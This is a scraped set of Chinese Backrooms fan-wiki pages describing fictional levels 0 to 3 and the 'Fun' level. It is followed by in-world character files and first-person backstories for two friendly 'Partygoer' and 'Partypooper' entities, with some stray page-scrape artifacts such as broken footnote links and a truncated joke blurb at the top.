    暗区传奇人物:老六 这个人物常出现在各种游戏中,南麦狙神曾说过:“当我看见他时我知道最好缴械投降”,麦克阿瑟上将曾说过:“谁跟他作对,谁就是有病,他的威力连核武器都不及他的万分之一。”,王牌先锋曾说过:“原本我只想来”

    生存难度:

    等级 1

    Thebackrooms.jpgLevel 0的第一张照片。

    Level 0 是后室的第一层,也很有可能是你将遭遇的第一层。

    描述:

    Level 0 是一个由随机分割的房间、走廊和楼梯直段组成的集合,覆盖着基本一致的单调黄色壁纸。本层的地毯十分潮湿,天花板安装了办公室灯具。某些墙壁上存在电源插座,它们要么长满了霉菌,要么连接着安保摄像头。你也可以在极少见的情况下找到一组呈血红色而非单调黄色的房间,以及漆黑无比的走廊。尽管本层通常是一个安全的层级,鲜少发生实体的目击案例,但它极其孤立,会大幅降低你的理智。建议随身携带一瓶杏仁水。据估计,本层的大厅面积超过六亿平方英里,为前厅的三倍,因此请保持警惕并持续步行,直至找到聚居点或前哨。

    “假如你不小心在错误的地方从现实中切出,你最终将坠入后室,这里只有腐臭的潮湿地毯,令人发狂的单调黄色,荧光灯全力运作发出的永无止境的嗡鸣,还有令人深陷其中的大约六亿平方英里随机分割的空荡房间。 倘若你听见有什么东西在附近徘徊,愿上帝保佑你吧,因为它一定也听见了你的声音……”

    聚居点和前哨

    M.E.G. (又名 “探险者总署”) Alpha基地:

    • 这是M.E.G.的第一个主要基地。
    • 大约半数的组织团队都居住于此。
    • 靠近Level 1的一个入口。
    • 在此处与B.N.T.G.建立通信。
    • 本基地防守严密。

    Tom的餐馆:

    • 顾名思义,一位名叫Tom的人居住在这里。
    • 他在noclip进Backrooms前是一名厨师。
    • 粮食供应由B.N.T.G.每隔数月进行一次补给。
    • Tom是一个开朗且乐观的人。

    琥珀营地:

    • 有大约50名公民。
    • 靠近Level 1枢纽入口。
    • 拥有小规模的防御力量。
    • 对贸易行为和新公民表现出友好和开放。

    入口和出口:

    入口

    由于Level 0可能是您在后室中遇到的第一个层级,因此从前厅访问它与第一次进入后室的方法是相同的。切出(no-clipping out)现实的界限被认为是进入后室最有效的方式。更多信息请参阅后室基本生存指南。其他很多层级也可以带你回到 Level 0 。在Level 283的堡垒中漫步,可能会遭遇散发霉味的木门,穿过这些门,你将被带入 Level 0

    出口

    请注意,通过未知入口点退出可能会导致你被带入后室中更糟糕的地方。坚持步行数日后,你可以找到一个楼梯或消防通道,它们通向Level 1。你也可以破坏地板去往Level 27。有很小的可能性,打破本层其中一个灯具会导致出现一条隧道, 将你送到Level -12。如果徘徊得足够久,你就可以到达马尼拉房间http://backrooms-wiki-cn.wikidot.com/archived:level-0

    生存难度:

    等级 1


    artistlivesinme.jpg最初发现时的Level 1

    Level 1是后室的第二层。

    描述:

    Level 1是一个巨大且绵延不绝的仓库,具有混凝土构成的地板和墙壁,裸露的钢筋以及在较低处悬浮的来源不明的雾气。这些雾气常常冷凝,形成地面上分布不均的水坑。 与Level 0不同,此层级拥有源源不断的水源和电力供应,只要采取适当的预防措施,流浪者们就可以无限期地在此居住下去。同时,它的规模也大得多,还带有楼梯、电梯、独立房间和走廊。

    此层级中会随机出现(或消失)一些补给箱,通常包含一些重要物资(如食物、杏仁水、电池,防水布、武器 ​[1](http://oj.cqxiaomawang.com:8888/user/2132#fn1)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn1)^()^ 、衣物、医疗用品等)和一些无用物品 ​[2](http://oj.cqxiaomawang.com:8888/user/2132#fn2)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn2)^()^ 。因箱子内容物的性质,应该谨慎对待它们。但与此同时它们也是宝贵的资源。

    artistdiesinme.jpgLevel 1的一处走廊

    此外,墙壁上和地板上还会出现没有明显来源或意义的粗糙涂鸦和绘画。据了解,在黑暗时或无人直视时,这些涂鸦的外观会发生变化或直接消失。Level 1内的灯具容易出现闪烁或随机故障;当出现此种情况时,物资有可能会莫名其妙地消失,并有可能会出现敌对实体。这些实体很少成群结队地出现并发动攻击,并且似乎倾向于避免与灯光和人群接触。建议携带一个可靠的光源,并在睡觉或休息时把握好你不希望丢失的任何物品。

    Level 1枢纽的家园。

    基地、前哨和社区

    M.E.G.(探险者总署)Alpha基地:

    • 这是M.E.G.的第一个主要基地。
    • 大约半数的团体和队伍都居住于此,主要为探险者和与B.N.T.G.共享的供应前哨提供居所。
    • 此基地很靠近Level 1的一个入口。
    • 对实体攻击等威胁进行了严密防范。

    B.N.T.G.商人之家:

    • 商人之家是一个类似于城市的大型综合建筑。
    • 大约有412名无敌意的居民。
    • 拥有基本的社会基础设施。
    • 流浪者的主要补给中心。
    • 贸易者的保险库设立在Level 1存储大厅里。
    • The M.E.G.有着良好的沟通与交流关系。

    Tom的餐馆:

    • 由Tom经营,在切入后室前是一名厨师。
    • 拥有大量的食物储存,由B.N.T.G.每月供应。
    • Tom是一个和蔼可亲且乐观的人,他的餐馆也是一个小型的社交中心。

    入口与出口:

    入口

    可以从Level 0切入此层级。本层级有许多入口;在许多层级中打开任意一道普通门都很有可能进入 Level 1 。此外,在Level 11.1中爬上一棵树,在Level 92中完成第五个事件,在Level 94中完成国王的试炼都是回到Level 1的可靠办法。

    出口

    你只需要继续探索后室就能离开 Level 1 。沿着任何延伸的走廊徘徊通常能够到达Level 2,找到墙上的洞就能进入Level 19,如果在天花板上有涂鸦的地方切出的话,你就能到一个派对上啦!

    补充材料:回收到的档案

    以下笔记回收自Level 1的不同地点,没有找到明显的来源。

    画者居于吾心 画者逝于吾心


    你不想留下来参加派对吗? =)


    烧掉我操蛋的尸体!


    蓝鸟在召唤你,抚慰你。你在这里很安全。


    黑皇后移到h5,这~就是将军~


    看看钟表吧,预言要临近了http://backrooms-wiki-cn.wikidot.com/level-1

    生存难度:

    等级 2

    pipdreams.png出现在Level 2的未知实体

    Level 2是后室的第三层,也是最后一个你能够当作出发地点的层级。

    描述

    Level 2主要由暗黑色、灰色的混凝土维护隧道组成,绵延数百万英里。此层级的墙壁上布满了管道,偶尔还能见到通风管道。这些管道中通常会流动着一些黑色的粘稠液体。有时可以发现一些门,但它们大多数是上锁的或者通向一个死胡同,它们内部通常会有一些放置着随机物品的架子,大多数情况下是电脑。

    Level 2走廊的某些区域,温度可能会高得令人难以忍受,可达43摄氏度(110华氏度)甚至更高。这通常发生在那些机器噪音最大的区域,如走廊的尽头。

    在此层级中出现的实体是后室中最危险的。通风管道中出现的噪音通常是由爬菌发出的。在Level 2的员工浴室中你还可以发现Mark。在此层级的其他实体还有:笑魇幼年无面灵肢团猎犬雄性死亡飞蛾悲尸爆酸者窃皮者。你唯一要记住的就是当你看到任何实体时立马逃跑。上图中出现的实体仍然没有得到确认,此照片的拍摄者的命运也尚不明确。

    基地、前哨和社区

    “生还者”

    一个由29人组成的层级探索小组,领导人是Austin。他们是一个友善且乐于交易的团体。他们用从Level 1发现的木箱子装载他们的补给。他们也是第一个发现悲尸的团体。 此团体与一个名叫杰瑞的信众的前哨站经常发生冲突。

    办公区EL3A

    办公区EL3A是一个在Level 2的办公区域,是B.N.T.G.(不结盟贸易集团)30个成员在Level 2的居所。 更多信息请参考办公区EL3A

    入口与出口

    入口

    Level 2是后室中少数几个能够从现实世界直接进入的层级。 你可以通过在Level 1中探索足够长的距离来进入 Level 2 。它也可以从枢纽进入。

    出口

    与大多数人的观念相反,Level 2中出现的门并非全部都是上锁的或通向死胡同。有些可以进入Level 3Level 4,偶尔也会回到Level 1。找到一扇外表被滑稽地涂成五颜六色的未上锁的门会把你带到Level 283。如果你在Level 2极度闷热的区域切出的话,你可能会被困在Level 2.1http://backrooms-wiki-cn.wikidot.com/level-2 **Level 3

    生存难度:

    等级 4

    Level3Level 3的一个走廊(经过加亮处理以便更好的观感)

    OtherLevel3另一个带有锈迹斑斑的监狱栅栏的走廊,此时处于封闭状态

    ElectricalRoom其中一个电力房的入口,仅被发电机的光芒照亮

    DarkLevel3Level 3中一个更黑暗的走廊,被一个不寻常的荧光灯照亮

    Level 3是后室的第四层,是流浪者们通常遭遇的前几个层级。

    描述

    Level 3是一系列长而黑暗的曲折走廊,结构与Level 0类似。它们都是由随机分割的房间组成,没有特定的模式,且都充斥着轰鸣的机器噪音。此处的走廊又狭窄又封闭,有些甚至需要平均身高和体格的流浪者弯腰、俯身、爬行或侧身行走才能通过。

    此处的墙壁由布满灰尘的棕色砖块组成,部分带有铜质管道和机器零件。地板是由覆盖有更多灰尘的灰色瓷砖地板组成,而天花板则完全由金属组成。

    Level 3是后室中规模较大的层级之一。据估计,此层级的面积约为3.5亿平方英里(约5.63亿平方公里),这种假设也解释了为什么人们在穿越Level 3时很少看到同行的流浪者。 只有在你做好了适当的准备,能够保护自己不受潜伏在走廊里的任何东西的伤害时,才建议进入 Level 3 。因为当你在此层级遇到急需他人救援或帮助的情况时,被他人搭救的可能性微乎其微。

    正如上文提到的,Level 0Level 3有一些相似之处。它们的房间大小和布局相似,且都拥有曲折,冗长的走廊。然而,它们之间也包含一些较为显著的差异。其中一个例子是与Level 3的房间本身有关的,这些房间里有时会有一些有助于将它们与其他房间区分开来的独一无二的物体,而这是Level 0所不具备的特征。其中一个更明显的例子是M.E.G.在2012年于此层级中拍摄到的一系列锈迹斑斑的监狱栅栏(关于其具体细节请参考右侧附图)。进一步测试表明,无论采用什么手段都无法拆除或打开它们及其周围的墙壁。​[3](http://oj.cqxiaomawang.com:8888/user/2132#fn3)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn3)^()^这些障碍物使得穿越Level 3的某些部分是不可能的,因此目前仍然无法对该层级进行全面测绘。

    探险者总署的实地勘探员报告称,监狱铁栅栏较多的地区往往会给在场人员带来强烈的恐惧感和极度的不适感。流浪者经常声称在此地感觉自己被监视着,甚至声称看到监狱栅栏后潜伏着奇怪的人形。探险者总署将此现象归结于幻觉或谣言。

    Level 3Level 2也有许多相似之处。例如它们的墙壁上通常都分布着管道。这些管道远没有Level 2那么多,但仍然可以在大多数走廊的角落里找到。这些管道中流动的黑色粘稠液体是该层级的主要噪音来源之一。这些液体具有很强的毒性,并会挥发出具有致命危险的烟雾。如果不小心吸入会对人体的神经系统造成损害,而且会对直接接触到此种烟雾的皮肤造成2-3度烧伤。所有试图对此种液体的化学成分的研究都没有得出结果。这种液体的性质本身就对研究该物质的特性和潜在功能造成了阻碍。

    Level 3的走廊也会出现不同寻常的电力房。这些电力房在每个方面都可能完全不同,但大多数电力房都是非常黑暗的,并且内有一台发电机。据探险者报道,这些房间内还出现过电器或电子设备,如断路器盒、电脑、松动的电线、安全摄像监视器和荧光灯等。

    因为Level 3资源储量丰富,如杏仁水糖果苦痛汁液火盐皇家口粮滋水枪瓶装闪电,所以Level 3虽然相对危险,但仍被人们认为是为基地提供物资补给的热门地点。除了上述物品外,在整个层级中还可以找到其他非后室特有的物品。如刀子、打火机、断线钳、手电筒和其他杂项武器或用品。值得注意的是,Level 3也是后室的所有层级中Wi-Fi最强的一层,强度一般稳定在3-4,而不是像其他大多数层级那样随机波动。

    Level 3内众多的机械导致其内的温度令人不舒服,但一般来说是可以忍受的。其平均温度范围从66-93华氏度不等(约18-33摄氏度)。因为有些地带的温度可能会突然上升到令人难以忍受的程度,因此在Level 3内进行长距离远征是难以进行的。有记录的最高温度为135华氏度(约57摄氏度)。​[4](http://oj.cqxiaomawang.com:8888/user/2132#fn4)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn4)^()^据报道,还有一些区域的空气十分潮湿、厚重,难以呼吸。

    Level 3的机械很可能是其环境中最危险的因素。在整个层级中发现的所有机器都是自主运行的,不需要外部干预。流浪者可以从可用的机器中获得利益,或利用很显然是超乎寻常的无限电力供应为他们提供动力。然而,这些机器的高度自主性也使它们具有危险的不稳定性。这些机器经常发生故障,需要定期维护,但因为它们的电源不能以任何方式关闭,这导致对它们的维护非常危险。此外,这些机器曾自燃或爆炸数次,对不幸在附近的流浪者造成了严重伤害。尽管如此,如果在穿越此层级时不鲁莽行事,而是探寻一条安全的路线,那么这些机器的潜在危险是可以被轻易避免的。

    实体

    Level 3充斥着大量危险实体。在此穿越很长一段距离而一次都不遭遇它们几乎是不可能的。猎犬无面灵悲尸雄性和雌性死亡飞蛾窃皮者钝人笑魇肢团爆酸者似乎都栖息于此,捕杀任何不幸被它们抓住的家伙。在这里也发现了爬菌的生长,高湿度的环境使疾病也很容易在这里传播。因此建议在通过这些隧道时保持适当的卫生习惯。

    虽然这些实体并不是在每个角落都会出现,但它们巨大的数量仍然给流浪者群体和探险者总署的特工人员造成了无数的伤亡。据报道,这些实体甚至会积极寻找人类活动的中心——尤其是小型基地——为了拆除它们并以其中的居民为食。这些实体针对探险者总署Gamma基地的攻击很频繁,但因为基地的规模和出色的防御能力,它们往往不构成任何威胁。较小的团体,如杰瑞的信众,已报告难维持他们前哨站完好无损的状态。他们中的许多人经历了多次类似的攻击以至于其前哨站几乎或完全崩溃的情况,因此日复一日地为其自身的安全担忧。

    基地,前哨与社区​[5](http://oj.cqxiaomawang.com:8888/user/2132#fn5)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn5)^()^

    众多团体一直试图在Level 3建立基地,以利用其丰富的资产。这些尝试中的很大一部分在建立后仅仅几天就失败了,因为实体能够察觉并攻击这些尚未准备好的脆弱基地。如此高的失败率应作为一个警告—除非你有资源、人力和毅力,否则不要试图在Level 3定居。

    M.E.G. - Gamma基地

    • 第三重要的MEG基地。
    • 大约有300名特工长期驻扎在这里,还有大量的其他住宿者在这里,经常从出没于此层级的实体那里寻求庇护。
    • 最初是由M.E.G.特工人员用临时砖块建造的,这些砖块是由发现在Level 3的碎牙刷、鞋带、塑料玩具马蹄铁和胶水瓶制成的。基地的居民将自己用临时弹弓武装起来,这些弹弓是由电线和橡皮筋捆绑在他们之前杀死的一些实体的骨头上制成的,他们用装有苦痛汁液的胶囊作为这些弹弓的弹药。
    • 开放贸易。
    • 经常受大群的实体进攻。
    • 后室中武装实力最强的基地,也因此成为人类的目标。
    • Level 3中记录的最大的基地。

    B.N.T.G. - 存储设施

    • 用作 B.N.T.G. 的主要存储设施。
    • B.N.T.G.的大量物资都存储在里面,都为在其他层级的交易做好了准备。
    • 开放贸易,但价格通常高的离谱。
    • 大约有150名永久成员,由于B.N.T.G在各层级之间转移物资的速度,大多数来访者在这里停留的时间不到一个小时。
    • Level 3中记录的第二大的基地。

    杰瑞的信众 - “蓝色救赎”

    • 只有15名永久成员。
    • 为资源采集而建立。
    • 规模非常小,多次遭到实体围攻,在毁灭的边缘徘徊。
    • 对那些不愿意接受杰瑞教诲的人充满敌意。
    • 未知威胁程度。

    蒙面女郎 - 未知

    • 未确认的基地。
    • 在蒙面女郎们频繁攻击Gamma基地后传闻他们在此存在一个基地。
    • 不惜一切代价避免遭遇他们。

    U.E.C.(无羁探险者联盟) - 锡拉基地

    • 未知成员数。
    • 目的应该是为了采集资源。
    • 不开放贸易。
    • 不应该接近。

    入口和出口​[6](http://oj.cqxiaomawang.com:8888/user/2132#fn6)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn6)^()^

    入口

    • Level 2未上锁的门通常通向 Level 3
    • Level 4Level 5的电梯通常可以回到 Level 3
    • 进入Level 10的地堡有时可以进入 Level 3
    • Level 11里外观看起来像是电力站的建筑进入后有可能会将你传送到 Level 3
    • 触摸在Level 13中发现的生锈管道有可能会使你入 Level 3
    • 借助地铁也是进入Level 3的简单方法。

    出口

    享乐层 =)

    警告(旧) » 享乐层 =)

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    4546448028_a682b00a47_b.jpg我们在这玩得很快乐! =)

    **享乐层 =)**是整个后室里最快乐的层级!

    描述:

    小型派对室,有很多蛋糕,饼干和杏仁水。我们在这玩得很快乐!=)不要扫了主人的兴哦。

    基地、前哨和社区

    派对

    来自享乐层的派对客。我们在这玩得很快乐!快来加入我们吧!

    入口与出口:

    入口:

    切入Level 1的天花板可能会来到这里!如果你在某些层级看到有五彩纸屑从窗外掉下,那就是我们在开派对!我们的主要入口在Level 283,在休息室前有一组对开门​[8](http://oj.cqxiaomawang.com:8888/user/2132#fn8)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn8)^()^,上面用大号彩色粗体写着:FUN!=)

    出口:

    你为什么想要离开呢?=)

    .....

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    派对博士

    简介: 派对博士帕尔特状态: 活跃

    AAAA.jpg## 【姓名】:派对博士帕尔特 (Parte,Dr.Partygoer)

    已知位置:M.E.G.阿尔法基地

    已知关系:M.E.G. “测验者”部门博士、“狂野战士”兵团与“开锁器”兵团技术指导


    派对博士帕尔特 是M.E.G.中迄今为止唯一一名友善且愿意合作的派对客。它的来源已添加至附录!=]←这是派对博士的笑容!

    派对博士帕尔特 (以下简称帕尔特)加入M.E.G.的时间不长,但是它所展现出的“派对客”独有的智力却让所有人对它刮目相看。帕尔特在针对“派对客”的方针中提出了许多有建设性的意见(比如说修改了实体“派对客”的介绍页面),也在“狂野战士”兵团和“开锁器”兵团扮演了技术性指导,帮助破译了许多隐秘层级的线索和危险实体的生物学资料。

    有人总是问我,如果摸到其他人会不会让他们也变成“派对客”。哈哈!当然不会啦。感染他人的行为是能被“派对客”自身控制的呀!=]

    描述:

    帕尔特拥有和其他“派对客”一样的笑脸和黄色的皮肤,它会在身上任何可以挂上或者是贴上的部位携带几个气球。它并不具有攻击性,与其触摸或者是拥抱都是安全的,在帕尔特说话时,它的面部不会发生变化,但它会用丰富的肢体语言来弥补它表情的缺失。

    帕尔特是2018年来到M.E.G. “测验者”部门的,当初它被发现的原因是,有许多目击者上报了他们在Level 11中看到了一个行为异常的“派对客”的经历。在此之后,“狂野战士”兵团分队找到了这名“派对客”,正当他们准备干掉它时,一名被认为是已经灭绝的一种实体“扫兴客”站在这名“派对客”的面前,用身体挡住了朝向它枪口。这名“扫兴客”的脸上却是和“派对客”一样的笑脸而不是档案里所记载的悲伤的脸。

    “狂野战士”兵团分队立刻意识到了这令人迷惑的情况,因此试图用扩音器和这两位进行交谈。以下资料是当时交谈时留下的录音:

    “狂野战士”兵团分队队长彼得里纳(以下简称彼得):那边的实体听着,我们不想伤害你,告诉我你们怎么来到这儿的!
    “派对客”:我是一名派对客,你们可以把我抓起来,但是请不要伤害我的朋友!
    “扫兴客”:我们没有恶意,我们只是希望能有组织能接纳我们,你们可以随便制服我们,然后进行审讯,我们会回答你们想知道的问题。
    彼得:(对着对讲机轻声说)[数据隐藏]博士,他们说他们没有恶意,想要让我们对他们进行审讯。
    【一段时间的杂音】
    彼得:(对着对讲机轻声说)好的,我知道了。(拿起扩音器)穿好防护服,把他们带上车,抓到基地里的实体监狱里关着!
    【对话结束】

    当初的我紧张极了!我以为我就会葬身于此,感谢[数据隐藏]博士对我和我的朋友的救命之恩!=]

    在经过几个月的审讯和风险评估后,帕尔特被证明无害,这一消息惊动了M.E.G.“监督者”和其他部门的人员,从此,人们对这位友善“派对客”的态度开始趋于正常。这位“派对客”后来的名字也是由[数据隐藏]博士和它的科研小组共同设计的。 帕尔特学习的速度令人震惊,仅仅在一年内就获得了博士学位,并掌握了许多实用发明的专利和探索指导手册,包括《危险实体判断准则》、《后室密码学》以及一个用于暴力破解某些层级内保险柜密码的​无极解码器​。它对别人对他的赞赏感到习以为常,并称这是对“派对客智慧”的认可。它的传记被一位作家写成一本小说并出版发行,至今仍然是M.E.G.内的畅销书之一。

    pater.png派对博士的一张艺术画

    附录:

    我在这里留下了关于我自己的经历!欢迎你来阅读!=] 虽然咱没有像小说里那样神通广大,也没有那么幸运,但我相信你一定会对它感兴趣的!那就让我们开始吧!=]

    在记忆的开端,我原本只是一名在派对王手下一个不起眼的派对客啦,听从它的发号施令,日子就这样在乐此不疲的感染其他人的现实下一直平淡的过下去。

    直到派对主决定发起“享乐战争”,它命令我们对“扫兴客”进行残忍的杀害,如果有人要保护“扫兴客”,就毫不犹豫的也将他们视为敌人!

    战争第一天,我看到一位“扫兴客”救下了一个人类,那个人类手上拿着一张照片,正在墙角傻乎乎的站着呢。当他们发现我向他们冲刺以后,那个人类震惊到把照片扔到了天上!嗖!于是,就在机缘巧合之下,这张照片落到了我的身上,同时,我被瞬间传送到了一个完全漆黑的地方。

    那时,我的脑海中的印象只有屠杀那些愚蠢的人类!因此,一座充满了人的城市展现在了我的面前。我进入了市中心,开始对人群发动各种袭击,想尽一切我能做的办法!然而令我感到疑惑的是,当我触碰到这些人时,他们会直接炸裂成粉末,而不是同化成我的同类。不过嘛,那种情况下的我的想法只有追击和屠杀,便忽略了这个特殊情况咯。就这样,一批人炸成了粉末,一批人又从建筑里走了出来……循环往复了几个小时以后,我终于感觉到疲倦了,我看着大街上新出现的人群,他们似乎根本看不到我一样机械性的走着,而这座城市从始至终就只有我一个派对客……

    =[

    总之,我还是停了下来,望着这些有说有笑,洋溢着笑容的虚拟人群,我似乎开始羡慕起了他们。我在城市中漫无目的的走着,偶尔能看到一些情侣,或者是一些家庭,我不知道这份记忆是从哪里来的,但是他们确确实实的影响到了我的心境。那时的我还不知道,什么是羡慕,什么是无奈,但我真真切切的感到了难受,那是当初我作为一个杀戮机器完全无法意识到是情感,虽然痛苦,但是很珍贵呐。

    我在那里生活了不知道多久,我待过楼房里、大街上、小巷中……一待就是一整天,我揣摩这些幻象中的人是怎么生活的,他们是喜怒哀乐,他们的幸福与悲伤。说真的!我逐渐爱上了这里,爱上了这些虽然看不到我,却仍然能传递给我他们真实写照的人群。我逐渐学会了他们的感情,学会了他们的语言。我最喜欢的朋友“皮特”在中了游戏机大奖时,我会和他一起兴奋;一个女教师在丈夫因为意外而离开她后,她彻夜难眠,我能感受到她内心的空虚和无助;一位老人即将永远离开他的家人,直到弥留之际他仍然牵挂的是他的孙女,希望孙女能够健康长大,我深深的受到了感动……

    总之,在我经历了这么多关于人类的事情以后,我再也不愿回想那个狭小拥挤的“享乐之地”,我希望能和真正的人类相遇,和他们一起生活,一起学习。证明不是所有“派对客”都对人充满着恶意!=]

    带着这样的目标,我终于开始找这个层级的出口啦!我告别了那些看不见我的好友,在一个暴风雨天气,找到了一座闪耀着奇异光线的塔。在那座塔的顶端,就是去往一个未知层级的入口。没有多想,我便走了进去!

    哈哈,篇幅太长了,先给你卖个关子吧!我的朋友“暗色博士”会来补充这个地方的!=]


    这里是暗色博士,我受邀帮助我的朋友Parte补充我们的故事。

    我和帕尔特初次相遇是在“享乐战争”最后一战打响的前夕,这场战争虽然只持续了一天,但我们的伤亡却十分惨重,当时我作为一名反抗军拼搏到了最后一刻,就在我为了逃离派对客们的追捕,躲进了一个通风口时,有一个头戴面具,身上穿着和我们的队伍一模一样衣服的神秘人找到了我,它告诉我让我听它的指挥,这样就能安全的活下来。紧接着,在它的带领下,我走入了一个秘密的小道,穿越了派对客的包围圈。

    我们一刻不停的奔跑,在这奔跑的间隙,我问它究竟是谁时,它却对此闭口不谈,而是不停的嘀咕着“马上就要到了”之类的话。很快,我们便到达了一架直升机的旁边,就在它准备打开飞机门,让我上去时,一个潜伏在飞机内的派对客扑了上来,咬了我一口,神秘人见状,立刻用钝器消灭了这派对客,把我拉上了直升机,关上舱门开始检查我的伤口。

    “我被感染了,我要变成那些行尸走肉了,如果你是我们的队友,别管我了,快点跑吧!”我说。

    “不,还来得及。”它用人类的语言回答我。“我是友善的那一方,相信我,我能治好你。”

    于是它摘下了面具,我看到了一个黄色的身体,还有那再熟悉不过的笑脸。

    “啊!你……你……你是!”我发了疯似的想要逃走,却因为伤口而寸步难行。

    “想不想活命了!”它大声的对我吼叫让我愣住了一会儿。“我是间谍,不做屠杀你的事情。现在我是来救你的。”

    “你要怎么证明你自己?“我有气无力的说到。

    “现在你马上就要被感染成派对客了,信不信我,我都没有损失。想活下来就听我的,别和我较真。”

    于是我只能无奈的接受了它可疑的援助,它伸出了手臂,从末端的口器里吐出了一些棕色的液体,它让我喝下去,它告诉我这是停止我转变成派对客的良药。

    我照它的要求去做了。之后便觉得昏昏沉沉,整个人倒在了地上。

    再次醒来时,我们已经到达了Level 11的一个角落,它坐在地上等待着我恢复行动能力。

    看到我有了动静,它伸出手臂凶神恶煞的问我:“说,你是不是扫兴客!”

    “那当然了,还能是谁啊……”我回答道。

    突然,它伸出了双臂紧紧的拥抱住了我。“太好了……你还是你自己……”

    xuange01.png

    但是我仍然发生了一些不可逆的变化,我悲伤的脸变成了笑脸,那可太难看了!不过至少我依然活着,但是它是怎么带我离开那个战场的,以及后来发生了什么,他都没有告诉我。不过当时我也没有在意那方面的事情,而是问它了一个真实又痛苦的事情:

    “只有我一个扫兴客了吗?”

    “目前来说,是这样的。”

    xuange13.png

    我感觉到一股前所未有的失落和空虚感向我扑面而来,而自己只能默默接受。

    我望着蓝色的天空,经历了许多思想斗争,终于振作了起来,向它说到:“你是我唯一的朋友,你救了我的命,以后无论发生了什么事,我都会无条件的保护你。”

    它没有说话,和我一样,仰望着蔚蓝色的天空。

    这就是我们的故事。

    暗色博士

    简介: 暗色博士安瑟状态: 活跃

    AAAB.jpg## 【姓名】:暗色博士安瑟 (Anser,Dr.Partypoopers)

    已知位置:M.E.G.阿尔法基地

    已知关系:“测验者”部门博士、“生命线”和“导火索”兵团救援医学顾问


    暗色博士是M.E.G.中迄今为止唯一一名在“享乐战争”后发现的扫兴客。虽然它已经被部分转化为“派对客”,但各部门依然认为它属于“扫兴客”一族。

    暗色博士安瑟(以下简称安瑟)于2018年加入M.E.G. “测验者”部门,3年后取得博士学位。

    安瑟擅长救助伤员,包括那些被实体感染的人,许多人类医生心有顾及的情况都在安瑟的帮助下成功化解,它被“生命线”部门[数据隐藏]博士称赞为“未来最有潜力的医学天才”。时至今日,安瑟仍然致力于研究各种用于治疗人类疾病的药品。

    描述:

    安瑟拥有和“派对客”一样的笑脸和身体,但仍然保留了“扫兴客”的特征,例如蓝色的身体、白色的表情、灰黑色的服装,以及并不和“派对客”一样莫名的亢奋和活跃的性格。相反,它更乐意独处。

    其与派对博士加入的经历请参照此篇档案:派对博士 在此不过多赘述。

    由于安瑟身上所体现出的异于“扫兴客”的特征,因此它也参与了长达三个月的危险评估,在同样被证明无危害后,上级同意了它与派对博士加入组织的申请,但两者被分配到了不同的部门。安瑟一开始在志愿者部门工作,由于它在救治方面展现出了惊人的天赋,它被推荐参加了入团考试,以优异的成绩进入了“生命线”兵团,它的考核成绩至今仍然没人能够超越。

    派对博士的帮助下,安瑟出版了它的医学指导书籍《妙术回原论》。这本书详细介绍了在后室内如何救治受到实体伤害的人员,是后室内首部编写此类资料的参考书籍。M.E.G.已将此书的摘录作为医学部门专用教科书。

    安瑟喜欢吃蓝莓派!它会经常做蓝莓派给我和其他科研人员吃,吃过安瑟做的蓝莓派的人都认为它的技术绝佳!=]

    QQ%E5%9B%BE%E7%89%8720220306172144.png 派对博士和暗色博士的一张艺术画。安瑟比我高一个头=]!

    附录一:

    亲爱的访问者:

    你好!

    我是安瑟,很高兴你能看到我的档案。很多人都曾问我,帕尔特和我是什么关系,我总会微笑着回答他们:“我们是很要好的朋友,它更愿意和你讲述我们的故事,你可以让他告诉你。”不过,总有一些事情是它不知道的,或者说是不愿意讲出口的,因此,我希望能在这个只属于我和你的小空间里,将剩余的部分告诉你。

    我曾经生活在一个舒适的层级里,那里有我的亲人,我的家乡,以及我热爱的祖国,我的祖国被称为“扫兴共和国”。哈哈,虽然名字难听了点,但我仍然深深的爱着她。即使是在这个占地不到30平方公里的美丽国度内,我们仍然制作了许多其他层级需要的物资,并将它们作为与一些组织进行长期的贸易物资。那时的我们和“派对帝国”的关系还算不错,许多派对客来到我们的国家经商,我还记得我的兄弟加入的某个商行里,就有一名“派对客”投资者。

    我的国家开始出现衰败的契机源于红星建筑队的被迫搬迁,它们和我们一样都是人人平等的追求者,但由于某些原因,我们和他们失联了。与此同时,带来的影响便是许多和我们合作的商业组织再也没有签署续期合同,国家的经济链突然得不到支撑,便常年处于衰落的情况。

    而“派对王”得知了这一消息后,无耻的对外宣称是我们阻止了它们进行派对而进行的“享乐战争”,实际上是对“扫兴共和国”的主动侵略。我们的谈判队伍前往它们所说的Level 52,准备和它们进行商讨,没想到“派对客”竟然残忍的杀害了它们!虽然我们非常愤怒,但国力弱小的现状却让我们无法对它们发动有效的反击。

    最终,在那历史性的一天里,所有“扫兴共和国”的成员立下血誓,愿与祖国同生死,共存亡。我申请成为在首都最后一道防线被攻破时奋战到底的卫士,为我的家乡献出自己的生命。

    然而事与愿违,我被分配到了一个通讯组,负责传递战场前线的情报,就在我返回总部的时候,我无意间进入了“派对客”的包围圈。随后,我的几名战友都被感染了,只有我侥幸逃出,躲进一个通风管里等待救援……

    接下来的故事我想你应该在帕尔特那里看过了。过去的事情我就先说到这里。


    附录二:

    • 一段派对博士提供的录音,已获得暗色博士的公开许可。

    暗色博士:“我想你这么晚打过来电话应该是有重要的事情吧。”

    派对博士:“有一个问题我始终没搞懂,这件事情是关于你的,我一直不敢问。”

    暗色博士:“你说吧,我不会责怪你的。”

    派对博士:“我曾经是那些摧毁你的国家的派对客的一员,为什么你却不对我感到愤怒和反感呢?”

    暗色博士:“哎……这件事吧,怎么说呢。让我想想,我待会儿会给你回电。”

    • 【电话挂断,大概15分钟以后再次接通】

    派对博士:“想好了吗?”

    暗色博士:“嗯,差不多了。你刚刚是问我为什么不反感你是吧。”

    派对博士:“对。”

    暗色博士:“我想,有两个原因。第一个,毋庸置疑,你救了我,证明你的品格是高尚的,你和那些败类不一样,我不能因为你们长得像而把对他们的怒气迁就在你的身上。”

    派对博士:(沉思)“嗯……”

    暗色博士:(郑重的语气)“第二个,我不希望这种苦难的情绪永远存在我的心底,让我一直沉沦下去。在缅怀我的亲人,仇视我的敌人的前提下,我要振作起来,让自己变得强大,强大到总有一天,我会让它们付出应得的代价……”

    派对博士:(打断)“好吧,我觉得你现在的状态不是很好,现在已经很晚了,我们休息吧。”

    暗色博士:“好。”

    派对博士:“[小声呢喃],晚安。”

